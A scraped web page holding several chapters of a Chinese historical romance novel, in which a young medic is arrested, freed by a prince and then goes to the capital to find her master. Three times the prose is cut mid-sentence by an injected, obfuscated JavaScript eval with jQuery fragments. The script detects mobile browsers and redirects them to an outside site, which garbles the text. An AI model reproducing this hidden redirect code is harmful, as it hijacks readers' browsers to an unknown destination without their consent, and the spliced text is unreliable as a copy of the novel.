见与他聊得投缘,叶灼挥了挥手:“你想想,比了那么多场下来,再勇猛彪悍的斗鸡,都难免负伤。那黑将军是只好鸡,可即便常胜之鸡,也不能连续作战。它的弱点,就在腿上。我之所以一眼相中大黄,便是因为那双粗壮的小腿,虽说是只肉鸡,但生得又高又大,冠平嘴利。这样的鸡,一眼便是睚眦必报、最为好斗的鸡,一旦战斗起来,往往至死不肯甘休。” 少年似懂非懂地点点头:“你年纪不大,懂得倒不少。” “小意思啦,一般人我不告诉他。”叶灼扶着一缸酒,满面霞红,“说起来,我还不知你叫什么名字呢。” “我叫卫明川。” “卫明川,是个好名字……嗝。”她指着天花板,“我叫叶灼,江湖人称,古川小医仙!” “这么说来,你的医术很好咯?”卫明川两手撑在桌上,饶有兴致地瞧着她。方才他就没喝多少,不曾想这小丫头,醉得比他还要快。 “岂止是好,丹青阁听过吧?就是我家开的。整个古川,我称第一,还没人敢称第二!”顿了顿,似乎是想起什么,她敲了敲脑袋瓜。“噢,有一个,我师父堪称第一……差点儿忘了!” “你从刚刚开始就一口一个师父的,你师父究竟是什么人,真有这般厉害?” 叶灼抬起头,想起师父,脸上漾起不一样的神色。 “师父叫……等等,我为什么要告诉你?师父的名讳,岂是谁都能知道的?” “你告诉我,万一我认识,也好帮你找师父啊。” “也是哦,嘿嘿。” 一阵头晕目眩袭来,叶灼说到一半,脑门便往盛酒的碗中砸去。一只手刚刚接住,她便昏睡过去,不省人事了。 卫明川背起她,叹了口气:“不会喝就不要喝,还喝这么多。” 结过账,卫明川背着叶灼,走出酒家。 今夜无风,月儿挂得很高,被乌云挡住,露出来半边月牙。古川宵禁得早,街道上空无一人,静得能听见树叶落下的声音。 “殿下,今夜落居此地,不宜出行。”身后侍从道。 此人方才便一直守在门口,虽然穿着便衣,但生得方脸宽肩,眉宇间英气逼人,难掩大将风范。 “总要送她回去。”卫明川看了眼熟睡的叶灼,若有所思。 “邱山,今夜你派人封锁城门,再暗中遣几名守将,切忌打草惊蛇。胡将军已经抵达虎丘,我们行动要快,须在三日之内与其汇合。” 唤作邱山的侍从执剑作揖,就要走时,卫明川叫住他。 “务必不能漏下任何可疑人员。倘有违命不从者,杖责五十,不予如实相告者,一律押回京城处置。” “是。” 夜幕之中,烛火一家接一家亮起。漆黑一片的城池,顷刻间灯火通明。 “户部有令,有人窝藏狱中逃犯,按律稽查人口,违者问斩!” 4. 无声(四) 许是昨日酒力甚好,醒来时,叶灼竟不记得昨夜是如何回到丹青阁,又是如何躺在了自己的小床上。 窗外骄阳似火,蝉鸣声阵阵,已是日上三竿。 她伸了个大大的懒腰,正要下床寻点吃的,门却被一脚踹开。 “臭丫头,火烧眉毛了,才舍得起床啊!”李伯拄着拐杖“咚咚咚”赶来,离叶灼二尺开外,闻见浓重的酒气,连忙掩住口鼻。 “哎哟喂,昨日是喝了多少……” 叶灼打了个呵欠,吐了吐舌头。 “你说说你,成天又是喝酒,又是去赌坊,哪儿有个姑娘家的样子!若是让你师父知道,你如今是这幅德行,老夫该如何与他交代?” 李伯总是这样唠唠叨叨,她听得耳朵都要长茧子。 师父远在上京,怎么会知道?再说了,她从小是被放养大的,就算知道了,也奈何不了她。 李伯一拐棍下来,敲得她屁股生疼,“你师父不在,以为老夫就管不了你了?” “哎哟,李伯,下手轻点儿。昨日刚摔着……”叶灼捂着屁股躲闪。 这时候外堂传来说话声,似有好几个男人。听着声音,也不是生意上门,丹青阁近日为何这样热闹? 叶灼正疑惑,李伯却丢了拐棍,忙不迭躲到柴房里。 “伯,这是咋了?” 李伯示意她噤声,压低嗓音,小声咒骂:“让你睡,就知道睡!昨儿夜里可出大事了!” 见叶灼还在云里雾里,他有些焦急:“今天城门都封了,据说是有京城逃犯逃到了古川,正躲在城中,官府正挨家挨户查户籍。” “这么严重?” “还不快些出去,等着挨板子么!” 叶灼才想起来,李伯原是漠北逃难的流民。这些年来流落古川,一直没有户籍,后来才到丹青阁打杂。丹青阁原只有师父和她两人,师父将户籍迁去了上京,如今名义上就只有她一人。要是碰上官府查户籍,李伯断断是不能出面的。 “奉律查户!户主何在?” 外头门被叩响,叶灼套上中衣,忙不迭应声而开。迎面而来的,是三四个绿袍加身的官员,手上执着黄册笔墨。还有位拿板子的刑官,立于一旁,皆是正颜厉色。 他们是户部派来的主事官,主要负责稽查户籍。叶灼放眼放去,除了这些前来办事的,竟还有张熟悉面孔。 “街溜子,怎么是你?!” 她瞪圆了眼,支支吾吾好半天。 卫明川仿佛没听见一般,只是瞧她一眼,将册子递给主事官。 “大胆。”一名绿袍官员喝止,“我等乃朝廷命官,休得无礼。” 叶灼才想起来,原来昨夜是卫明川将她背回,送到丹青阁里。 难道卫明川是户部的人?既是如此,他昨夜要是见过李伯,那李伯的身份可就藏不住了……这该如何是好? “你家几口人?” “回……回官爷,一口。”她硬着头皮道。 “男丁几口,可有新添丁口?” “若是隐瞒不报,流徙充军!” 叶灼打了个哆嗦,强作镇定,“回官爷,并、并无……” 卫明川大手一挥,道:“搜。” “喂喂,你们这是要私闯民宅啊?!”叶灼胸口“咯噔”一声,一紧张,手指都被咬得破了皮,焦头烂额。 似是看穿了她的心思,卫明川淡淡瞥她一眼,不动声色进了屋。 “这里没有,搜那里!” 就在这时,瞧见李伯的拐棍还在地上,叶灼暗呼不妙。眼瞅着卫明川将它拾起,径直奔向对面的柴房,她闭眼祈祷,心仿佛要从胸口跳出来。 李伯啊李伯,这回非但保不住你,你可要害惨我了…… 怎料已经进了柴房,过了一会,卫明川却独自一人从柴房走了出来。 咦,奇了怪了,难道他没看见李伯? 不可能啊,李伯就躲在柴火堆里,按理说一翻就能找到了……难道是趁他不注意的功夫,李伯躲到了别处? 几名官员分为两路,在后院、厨房、里屋都搜了一会儿,一阵翻箱倒柜后,向卫明川禀报:“回大人,都没有。” 一颗悬着的心终于放下,叶灼捏了把汗。 就在以为侥幸逃过一劫的时候,他们却没有直奔下家,反而拿出镣铐来。 “几位官爷,这是做什么?” 还未明白怎么回事,她已被反手扣住。 “不带这样的啊,不是没找到人吗?” 卫明川挥挥手,漫不经心道:“带走。” “就算你们是官,我是民,做事也要讲理吧。岂能无缘无故绑人呢?!” “至少告诉我犯了什么罪吧!!” 擦肩而过时,叶灼幽怨地瞪他一眼,“卫明川,虽然不知为何你会是户部的人,就算要记恨我,你可不能公报私仇啊……念在兄弟一场,昨日我们还一起喝酒的份上,你就放过我吧,好不好?” “嘘,别说话。” 见卫明川连看都不看她一眼,叶灼便不乐意了,转而对着另外几人:“几位官爷,放我回去收拾行囊再走呗,我路上要吃东西的。我屋里还有个酒葫芦,这东西对我很重要,我不能没有它!” 一把大刀横在她面前,“少废话,你当是去休沐的?被押送的囚犯,还想好吃好喝地过日子,做梦!” 呜呜……她还没和李伯道别,蛐蛐儿还在家里没人照顾,她还没找到师父呢……她不要坐牢啊! 几人身后,李伯从柴房中走出,望着叶灼的背影,目光中似有不舍。 但那不舍并非挽留,倒像是一眼看透了命般,徒有几分无奈,几分释然。 “雏鹰断翅,岂能久活?”他朝天叹了口气,“它若是想飞,迟早有一日,要让它飞的。阿庚啊,这是大势所归……往后的路,就要靠她自己走咯。” 说罢,李伯哼着小曲,负手回屋。 “击鼓其镗,踊跃用兵。土国城漕,我独南行。” “从孙子仲,平陈与宋。不我以归,忧心有忡……” 耳畔传来歌谣,伴随急促的马蹄声。刀剑相撞,隐约听得出,两队人马正在激烈厮杀。 “阿灼。” “阿灼,我来接你了。” 叶灼从睡梦中惊醒,所有声响消失殆尽,只余留马车的颠簸。 又是那个梦,那道声音,究竟是谁?为何每每听见,总觉得陌生又熟悉,唤她名字时,心口还总是抽疼…… 她大口喘着气,平稳心绪。透过木笼缝隙,见马车停在城门前,瞧眼前的街景,这里还是古川。 同笼的约莫十几人,有男有女,皆是蓬头垢面,身穿囚服。他们手也被捆着,看起来都是押送牢狱的囚犯。 “哎, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634509|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老兄。”叶灼挪向一旁,肩头撞了撞离她最近那人,“咱们这是去哪儿呀?” 那人好像是个哑巴,把头撇向右边,并不搭理她。 问了一圈,所有人都是一样的反应,满脸的死气。叶灼见无趣得很,干笑两声,只好作罢。 马车颠到一半,忽然停了下来。 大白天的,街上却空无一人。城门紧闭,守城的军队站得整齐。 这时她方才注意,卫明川正骑着马,立于两排士兵前,神色威严。 今日他身着甲胄,手执长剑,与昨日那身黛蓝色长衫不同——穿便衣时,说好听些是风流不羁的公子哥。往难听了说,就是个街溜子。一换身盔甲,立马连轮廓都硬朗几分,要说起来,倒真像个大将军。 “今日本世子奉圣命缉拿反贼,本欲于夜晚行动,下令狼牙军假作户部人员,不想却无功而返……” 卫明川扫视一周,目光犀利,忽然停在一名将士身前。见那人低着头,眼神却乱瞟,他嘴角一勾,抽出腰间凌霜剑。 “我说怎么挨家挨户查了都没有,原来那反贼,就藏在守军之中啊。” 剑身冷气逼人,直抵脖颈。就要见血之际,那人捏住剑柄,敏捷闪向一边。 “冯都尉,你已无处可逃,还不束手就擒?” 冯殷咬咬牙,怒目而视,“莫非你早就知道,只等着给我下套?” “怎么,本世子专门为你准备一场好戏,可还满意?”卫明川语气轻蔑,“现在认罪,圣上仁慈,说不定还能留你一条狗命。” 凌霜剑的主人,乃是那新黎之主,大容唯一的异姓王世子。 相传黎亲王卫昌之子年少善练兵,十七岁便统领狼牙军收复河东三十一郡,平西戎,定南师,立下大小战功无数,使敌军闻风丧胆,羯人不敢来犯。此人正是此次夺取金沙关的少年将军——叶灼怎么都想不到,她在有生之年能见到大名鼎鼎的狼牙军首将,更想不到此人会是卫明川。 料定自己认识了个大人物,叶灼顿时兴奋极了。大将缉拿反贼的戏码,她还是第一次见,借着机会千载难逢,能够亲临观战,更是可遇不可求。 “叛党冯殷,违背军令,欺下瞒上,卖主求荣,罪不容诛!” 冯殷见无处遁形,情急之下,飞身而起,目光停落在装载囚犯的马车上。 卫明川欲拦其刃,不等他后脚跟来,笼顶“咔”一声被劈开,中央直直落下一把大刀。 “哎哎哎大哥,你们打你们的,莫要殃及无辜啊!”一根头发断成两截,只差之毫厘,叶灼的脑袋就要落地,足见其刀刃锋利。 又是“咔咔”几声,马车爆裂开来,木板碎成数块,其余囚犯四散而逃,皆被狼牙军一一截下。须臾之间,冯殷那把大刀已然抵于她脖颈。 本是来观战,结果城门失火,殃及池鱼。叶灼只觉得点儿背极了,咽了咽口水,哆哆嗦嗦:“大哥,此事与我无关,我和那些人是一伙的,囚犯的命不值钱……” 脖前冷气森森,刀刃贴的更紧,逼得她大气不敢喘一下。 “放我出城,否则我就杀了她!”冯殷眼里布满血丝,大吼道。 见他病急乱投医,叶灼害怕得闭上眼,口型求助:救我。 卫明川“噗嗤”一笑,目光比那凌霜剑还要冰冷。 “凌霜剑从不斩亡命之徒,一个死囚的命,我要来何用?” 5. 无声(五) 什……什么? 她没听错吧?!昨日还在与她饮酒作乐、称兄道弟之人,今日就放她任人杀剐。都说自古帝王无情,不曾想这王世子,竟也这般无情。 十二载的小命,就要断送在今天了么?她想过一万种死法,却从未想过有一天,会死得这样不明不白。 “呜呜,卫明川,我做鬼都不会放过你……” 眼见成了砧板鱼肉,叶灼闭上了眼,只好认命。 师父啊,李伯啊,阿灼去了。你们的养育之恩,唯有来世再还。 狼牙军执盾列阵,以肉身死守城门。没等来预想的疼痛,适才死死钳住的手挣离她,颈前的冷意消失。 咦,难道她不用死了? 叶灼缓缓睁开一只眼。只听“哐啷”一声,冯殷将大刀丢向一边,面如土色,瘫倒在地。 “那独孤显许了你什么好处,值得你舍弃不归冢三千死士。”凌霜剑步步紧逼,抵于冯殷的下巴,“说,余下叛党何在?” 见逃无可逃,冯殷低声冷笑,嘴角淌出血来。 “坏了,他要服毒自尽!” “快阻止他!” 邱山即刻上前,欲用手指抠吐。 “与白翎卫作对,不会有好下场。王世子,总有一天你会明白……徒有一腔愚忠,今日之选择,是何其愚蠢!” 鲜血不断涌出,终究为时已晚。 冯殷狠戾盯着卫明川,分明万分痛苦,口中却仍在发笑。笑得凄凉,笑得嘲讽,头一歪,浑没了动静。 邱山过去探了探鼻息,转头道:“已经死了。” 卫明川司空见惯般,嫌恶地瞧一眼,一脚从尸身上跨过。 “将尸体带回去。逃走的叛党,给我一个不落地抓回来,押回京师严加审问。问不出来的,通通挖去双目,丢去北疆作奴,其后代,男子充军,女子世代为娼。” 说完抖了抖披肩,翻身上马。 尽管叶灼治的伤不少,见过比这要血腥得多的画面,小时候官府当街杀头时,她向来也是不敢看的。 胃中一阵翻江倒海,她捂住双眼,缩回笼门。 傍晚时分,车帘被掀开,卫明川丢来个包袱。 “饿了吧。” 叶灼将它推开,恹恹道:“我现在没胃口。” “你不是说路上要吃东西么?” 以她在酒庄胡吃海塞的样子,经历这样一番折腾,几个时辰过去,不可能还不饿。见她脸色有些差,卫明川停下来,将手伸进笼中。 刚碰到肩头,她却一个激灵,往里缩了一缩。 他的手僵在半空,神情错愕。“你……害怕我?” 叶灼抬眸,点了点头。 原以为她会瑟缩着否认,如此这般,反而惹得他笑了出来:“你倒是实诚。” “这不很正常么?”叶灼窝在地上,将头埋入腿中,“你昨日是一副模样,今朝却摇身一变成了杀人不眨眼的黎州世子。差得这么多,寻常人哪能不怕。” “我本要抓活的,谁知他要自杀。”卫明川放缓缰绳,与马车并肩而行,“拆开看看吧,回京少说五日脚程,总有需要的时候。” “回……回哪儿?” “你不是要去上京,找你师父么?” 一听这话,叶灼两眼放光,扒上笼门:“当真?!我可以去上——” “嘘,小声些。”卫明川道,“路上我会悄悄替你松绑。你随囚犯下车以后,且自行避开耳目。到了上京,去找一个叫清茗居的地方。报卫公子的名讳,届时自会有人来接应你。” “卫明川……我就知道,你果然够朋友。” 叶灼感动万分,此时恍然大悟。查户籍时,卫明川并非没看见李伯,原是在帮她蒙混过关。 近年来战乱频繁,苛捐杂税繁多,百姓苦不堪言。古川又是两国交界,流民因种种原因失去户籍,无籍灾民本就数不胜数。卫明川常年征战塞外,应当是见惯了像李伯那样的人,对此类事件,便也睁一只眼闭一只眼了。 塞翁失马,焉知非福?虽然失了银子,好歹去上京省了路费,还多认识个好朋友。一想到这,叶灼几日的坏心情烟消云散,顿时胃口好了,困意也消了。 望着她笑的模样,卫明川不自觉勾起嘴角,暖意上了心头。 拆开包裹,里头除了些糕饼零嘴,还有一只酒葫芦。打开壶塞,一只蛐蛐儿正趴着睡觉,黄色脑袋上点缀有零星红斑,翅膀短阔,闪着金光。 这只蛐蛐儿是叶灼几月前捉的。当时在后院瞧见它生得小巧,四条腿蹬起来,跳得比后院杂草还要高。因其总在夜晚活动,白天睡懒觉,故而起名为夜游侠。 “你说这个对你很重要,我便替你拿了来。”卫明川抬眼,撞见她一把鼻涕一把泪的脸,有些忍俊不禁。 “怎么,这回不怕我了?” 叶灼头摇得像拨浪鼓,又想到她方才差点儿丢了小命,于是问道:“你既不准备杀我,方才在那个冯都尉面前,为何要那样说?” “兵法有云,杀人安人,杀之可也。”卫明川道,“唯有告诉他,你的命无足轻重,不足以用作人质,你才能活。既对我没有威胁,杀了也没用,又何必血刃?” 叶灼听完咬一口饼,似懂非懂地点头,“万一他纯粹嗜杀呢?” “那我只好立块碑,年年为你烧纸咯……” “好你个没良心的!” 他笑着策马向前,叶灼一口饼屑喷出,只恨没喷他脸上。 山道之上,穿着囚服的男子躲于暗处。望着马车消失在视野里,匆匆离去。 …… 上京城,皇宫之中。 昔日五国争霸,天下割据。英雄纳兰池横空出世,与义兄卫昌从军南征,平陈宋,复中原,定国号大容。苍尘山一战后,漠北归附,百姓拥立其为神武帝。 时值天下初定,政权不稳,百废待兴。前朝老臣长孙野起兵反叛,造就惨绝人寰的京师动乱,皇后谢岑桉死守上京,战死关外。 动乱历经一年之久,终得平定,然神武帝却积劳成疾,不久于世。 而今圣上,正是先帝临死托孤之人——池之胞弟,纳兰燮。 “一群废物!” 汤药被一手推翻,几名太医吓得跪倒在地,连声求饶。 “成天要朕喝这药,朕喝了数日仍不见好,反而疼得更厉害。你们这群人是如何进的太医署?!都给朕滚下去!” “军情急报——” 紫宸殿中,纳兰燮正在气头上,安公公匆匆上殿。 “世子殿下已领十万大军,与胡将军回师,现正在归京路上。” 纳兰燮扶额闭目,头昏脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634510|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胀,半倚在龙榻上。正值壮年,满头青丝已有半白。 “几时抵达?” “回陛下,”安公公掐指一算,“约莫明日午时。” “知道了,下去吧。” 安公公踌躇半晌,缓缓道:“陛下,还有一事。” 说罢他眼神示意,纳兰燮示意他上阶,悄悄耳语。原是有关缉拿冯殷叛党的暗报。 纳兰燮揉着太阳穴,倏尔睁眼,皱起眉头。 “哦,真有此事?” “消息经手虎丘驿传,想来假不得。” 屋内龙涎香四溢,纳兰燮手指微颤,指了指桌上的雕花香炉。 “陛下,可是头疾又犯了?” “这香熏得朕头疼,拿下去。从明日起,全给朕换成檀香。” 安公公应下,接过香炉后,低眉顺目道:“奴才这就唤叶少卿过来。” 纳兰燮不耐烦挥挥手。安公公退下阶,殿外男子早已静候多时。 “传叶少卿上殿——” 青年男子由暗处缓缓迈入,长身直立。 云母槛窗漏下昏黄幽光,照亮他半张侧脸。柳叶眉,丹凤眼,长睫垂落淡淡阴翳,在烛火妖冶晃动之下,更平添几分俊美。 他伸出一只手,接过医官承来的针具。指节如白玉骨笛,修长分明。 薄唇轻启,嗓音清润:“陛下。” 毫针落入曲池、列缺、太溪、行间诸穴。 “叶爱卿啊……朕这头风病,何时能好个彻底?” “陛下头疾之所以反复发作,究其原因,乃阳热之体。夏至三庚,暑邪旺盛,本易生内热。加之陛下日理万机,案牍劳形,肝阳亢逆。风火上扰,气血不疏,这才经久未愈。” 几针下去,颅内钝痛渐渐弥散,果感通体舒畅。纳兰燮不由夸赞:“爱卿这手针法,真是愈发精妙了。” “陛下谬赞。稍后我再为陛下开一副方子。服用七日,头疼应当有所减轻。” 若没有叶无声每日针灸,纳兰燮真不知要如何熬过这三年。 自太医署一变后,不知为何他就染上这头风病,痛起来如千百万个铁锤敲打,严重时连着眼眶,膨胀欲裂,眼球仿佛要爆出。那种滋味,绝非寻常人所能忍受。 “下月十五便是盂兰盆节,礼乐器物安排得如何了?” “回陛下,都已置办妥当。” “狼牙军明日班师回朝,此次金沙关大捷……”纳兰燮斜睨着他,脸色深沉,“爱卿觉得,是该将庆功宴挪到七月十五以后,还是按着规矩,放在三日后举办?” 叶无声目不转睛地施针,答道:“臣以为,应当先置办盂兰盆节。” “哦?为何?” “自大容开国以来,习俗从未更改。七月十五乃佛教盛会,一来是为安民,我朝提倡百姓礼佛修心,此时不宜提及战事。” “爱卿休要卖关子了,且细细道来。” “这二来么……”叶无声顿了顿,“西戎初定,万邦朝会之时,必有西域佛僧来往。我朝寺院身兼礼宾济民数职,以此举扶持兴建佛寺,既显诚心,也有助陛下于民间树立威信。” “嗯,不错……”纳兰燮闭上眼,像是深思熟虑什么,又仿佛只是安神。 “朕听闻,你在岐州还有个徒儿。这些年怎的从未听你提起?” 6. 无声(六) 此言一出,叶无声执针的右手滞于空中。 然而只那么一瞬。 很快他换了一支稍短的针,仍是正襟危坐,面不改色:“臣初进宫之时,家中顽徒不过是个九岁小儿,从来体弱多病。上京路途遥远,一路山地险峻,臣忧心其水土不服,落下病根,故命小徒留在家中,托人照顾。” “叶爱卿,倒是爱徒如子。不过小儿能长到现在,十来岁的年纪,身体应当硬朗了。何不将其一并接到皇宫里?” “陛下有所不知。”叶无声放下针,摇了摇头,“她自幼贪玩,不喜学医,肩不能挑、手不能提。既无一技之长,纵使来到上京,恐是成不了什么气候。” 纳兰燮笑起来:“朕不信。你叶无声收的徒弟,再多不成气候,能差到哪儿去?” 上京城中。 容国最大都城,坊市布局,四面环山,分为东西二市。道路四通八达,酒肆茶坊林立,街市两旁尽是各种商铺。 小贩叫卖声不绝于耳,不同于古川的冷清,青天白日,酒楼依旧歌乐声阵阵,到处人山人海。 “墨竹轩,紫花琅,怡然阁……” 这些店的牌匾一个比一个风雅,风雅到光看名字,叶灼都不知道它们是卖什么的。 她一手拎着包裹,大摇大摆走在街道上,这里停停,那里逛逛。只恨光长了两只手,又没有多余银子,不能将好吃的好玩的全数买一遍。 对于上京盛景,她已不知发出多少个惊叹。 难怪所有人都挤破了头都想往京城钻,世人都道上京好,今日一见,果真是热闹非凡啊! 逛了好半天,一直走到街市尽头,脚步停在一处茶坊下。 “清、茗、居。” 叶灼念着牌匾三个大字,满意地点头。看来就是这里了。 一进门,浓郁的茶香扑鼻而来。从前在丹青阁,叶无声常沏茶,她便跟着喝一些,久而久之,对各种茶的味道很是熟悉。 龙井、佛手柑、香片乌龙,还有各种各样不知名的花茶,每走几步,都能嗅出一点不同的味道。 楼阁内有三层,很是宽敞,一层中央摆着巨大的戏台,两个粉面白脸的人正在上头咿咿呀呀唱着戏。叶灼将包袱放下,细细听着,好像是出《梁祝》。她在古川时听说书人讲过,是个女子求学,有情人不成眷属的故事。 她最喜看那祝英台,分明是位闺阁小姐,却敢为求学违背父母之命。可惜为世道所不容,可怜一代才女为追求所爱,终化了蝶。 茶客们围着坐了几桌,个个儿都是文人雅士模样,摇扇啜茶,衣冠不凡。她低头瞧了瞧自己这身破麻布,好像有点儿格格不入。 “姑娘几位?” 正痴痴看着台上的戏,叶灼浑没注意到身旁站了名女子。掌柜的是个极为出挑的女子,灵蛇髻高束,清雅而不失端庄,芦苇般的旋裙一摇一摆。 待到看清她的容貌,叶灼连连摆手:“我、我不是来吃茶的。” 头一回和美人说话,竟然口吃起来。 “那,姑娘是来找谁?” “我找一个叫作秦三娘的人。” 几名女伙计闻言转头,她们同样身着绿色旋裙。看了眼掌柜,又瞧了眼叶灼,眼底不约而同地浮现笑意。 “姑娘找她……可是有什么要事?” “有人说,她能帮我找到师父。” 美人掩袖笑了笑,一对杏眸秋水盈盈。 “你是卫公子的朋友吧?” 叶灼不好意思地挠挠头,又点了点头:“姐姐好生厉害,是如何看出来的?” “卫公子早同我说过,有个远道而来的朋友,模样十一二岁,要到上京来寻她的师父。除了你,大抵没有第二个了。”她领叶灼上了楼,来到二层雅间。 原来她就是秦三娘。 想不到卫明川竟认识如此美丽的女子。叶灼一时哑然,书中所说那秋水伊人,大抵不过如此吧? 秦三娘端来些茶水糕点,“这是我清茗居招牌,洛神花茶清口、绿豆糕解暑,姑娘不妨尝尝看。” 叶灼一愣神,方觉失态。“三娘姐姐,你生得好美。我在古川,从未见过像你这般美丽的女子。” “姑娘过誉了。” 颠簸五日,叶灼早饿得前胸贴后背,拿起筷子咬了一口绿豆糕。口感湿润绵密,真真是糕点中的上品。 见她一脸满足,狼吞虎咽地吃起来,秦三娘笑意盈盈。 “不知姑娘,想知道些什么?” 叶灼随意擦了下嘴角,憧憬地望着她。全国各地都有消息通,古川的消息通是沈豆,这上京的么,想必就是这个漂亮姐姐了? “我师父姓叶,名无声。”她咕哝着道,“我想知道他现在所在何处,我要如何找到他?” 秦三娘用紫砂壶盖轻轻刮去泡沫,顿时茶香四溢。 “你的师父,竟是叶少卿?” 叶……少卿?从没听过的称呼。 “三娘姐姐认识我师父?” “不止是认识。”她动作轻柔递来一盏,茶汤热气腾腾,“我与他儿时有过一面之缘。叶少卿如今名满京城,当朝的太常寺少卿,你倒不必到我这儿来,去街市随意抓一个白丁,想来也知晓他的名讳。” 太常寺乃九寺之一,掌礼乐社稷、郊庙祭祀诸事,下设七署,太医署也在其管制之内。 “你可知,十年前太医署发生的一桩悬案?” “我在古川时,曾听西北的狼牙军提起过。”叶灼想了想道,“不过具体发生了什么,就不得而知了。” “京师动乱过后,上京城曾突发一场瘟疫。皇宫上下数万人,服药过后皆是上吐下泻、不见好转,其中不乏有朝廷重臣、后宫的娘娘。太医署掌宫廷医药,东窗事发,自然成为第一被波及的对象。而你的师父,正是当年执掌太医署的首席医官——叶渊之子。” 叶灼吃了一惊,险些呛到。 从前她不曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634511|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过问师父的身世,是觉得师父一个人漂泊在外,从未见丹青阁来什么客人,想是早年家中遭遇什么变故,提及只怕师父伤心。她以为师父从未离开过古川,不曾想一提起来,竟是这样大的变故。 “这么说来……师父刚到上京时,竟是罪臣之子?” 秦三娘点了点头,“不错。当初叶无声应召,的确以罪臣之子的名义进宫,曾招致众朝臣反对。” “那后来呢?” “他在古川韬光养晦数年,一朝归来,以其医术之精湛,颇得圣心。三年间连升五秩,竟从首席御医跃迁至太常寺,一路官居四品。这在整个容国,都是前所未有的先例。” 叶灼听得震惊,震惊之余,更是心花怒放。心花怒放之余,又生出些落寞来。 师父在上京闯出了大名堂,她却整日游手好闲,对京城发生的事一概不知。她虽身为徒弟,与师父朝夕相处近四个年头,竟然对他完全不了解。 转眼三年过去,师父又从没往家中捎过信,该不会…… “三娘姐姐,我应该还要在上京待一些时日。” 叶灼攥着衣角,干巴巴笑两声,“不过途中出了点儿意外,如今我身无分文……你这里可还缺店小二?我能打能挑,吃得又少,端茶递水,什么事都能做!” 秦三娘莞尔一笑。 “叶姑娘,这件事,我帮不了你。” “为什么?” “清茗居是茶坊,并非旅店。你留在这里,暂且没有一个住处。况且你师父现在皇城之内,你要找他,就只能到皇宫里去。留在我这儿,实属有些屈才了。” 叶灼想到沈豆与她透露的消息,欲要问太医署的差事。此时秦三娘拾掇好茶具,从橱柜中拿出一封信来。 “你执此信到宣宁门口,将它出示给守城的侍卫。卫公子有交代,他已替你安排好了差事。进了城门,看见拂春街的牌匾,只需跟随领事的嬷嬷,她自会引你到去处。” 几行毛笔字写得龙飞凤舞、歪七扭八,叶灼看不太明白。唯独可见“太医署”三个大字,顿时两眼放光。 接过信,她高兴地跳起来:“多谢三娘姐姐!” “不必谢我。你应谢卫公子才是。” 不曾想卫明川竟安排得这样周全,一路上叶灼又蹦又跳,活像捧着宝贝般,喜不自胜。等卫明川面圣回来,她定要逮着机会,好好答谢他一番才是。 然而等到下午,叶灼就笑不出来了。 “卫明川,你说的好差事就是这个啊!” 她将扫帚往旁边一丢,一屁股坐在石阶上,气不打一处来。 原以为是引荐她入太医署的信,害得她把未来三年的美好光景都想了一遍。 成不了首席医官,能做个普通太医也好,再不济,至少做个尚药局的芝麻官。每日拣拣药材,有机会见到师父,也是样不错的活。 可她千算万算都没想到——卫明川让她来太医署,就为做个提水丫鬟! 7.无声(七) 倒不是做丫鬟不好……只是这活儿天天在后院打杂,连太医署都出不了,离太常寺更隔着十万八千里。 她根本没机会见到师父啊! 叶灼气呼呼坐在石阶上,不知从哪儿飞来几件脏衣服。 “喂,新来的吧?这些衣服拿去洗了!” 又飞来几件。 “还有我的,这些也洗了!” “明日入泮,书斋各个角落都要打扫干净,水盆手帕备好,桌不能落灰!” “还有茅房,千万别忘了扫!” 一会儿功夫,怀中已是满满当当。 “还愣着做什么?”领事嬷嬷提着板子指手画脚,“明日四博士都要来,太常寺也会派人来视察,茅坑几个月没洗了,脏成这样!让上头看见成什么样子?” “来了来了!” 叶灼抄起扫帚,牙齿咬得咯吱作响。 她堂堂古川小医仙,竟沦落到替人扫茅厕! 提水丫鬟,原本负责太医署四博士、学子们的日常生活用水,是七阶丫鬟里最低等的。太医署会试刚刚结束,署中上下忙里忙外,都在为新学子到来做准备。 赶上入泮时期,之前的丫鬟跑路,偏偏由她一个新人替上。如今叶灼大抵明了,她就是被叫来凑数的。 虽说眼下也找不到别的活干……怎么总感觉自己被阴了啊? 此时偏殿走出一男一女,穿着棠梨色长衫,膝下一道横襕。 叶灼忙不迭起身,装模作样扫起地来。 今日见到许多人穿这种衣服,看来他们是太医署的学子。 “世子殿下班师归来,要不上街瞧瞧去?”女子捧着书道。 “啧,你忘了吗?” 头戴缁撮的男子悄声附耳,“出门前阿爹还特地叮嘱我,狼牙军回师,不许任何百姓围观。我听小桂子说,今日街上一个人影都没有,世子殿下自晌午就在城门候着,一直过了未时,还没有派人出来迎接。” “这就奇怪了。”那人努嘴道。 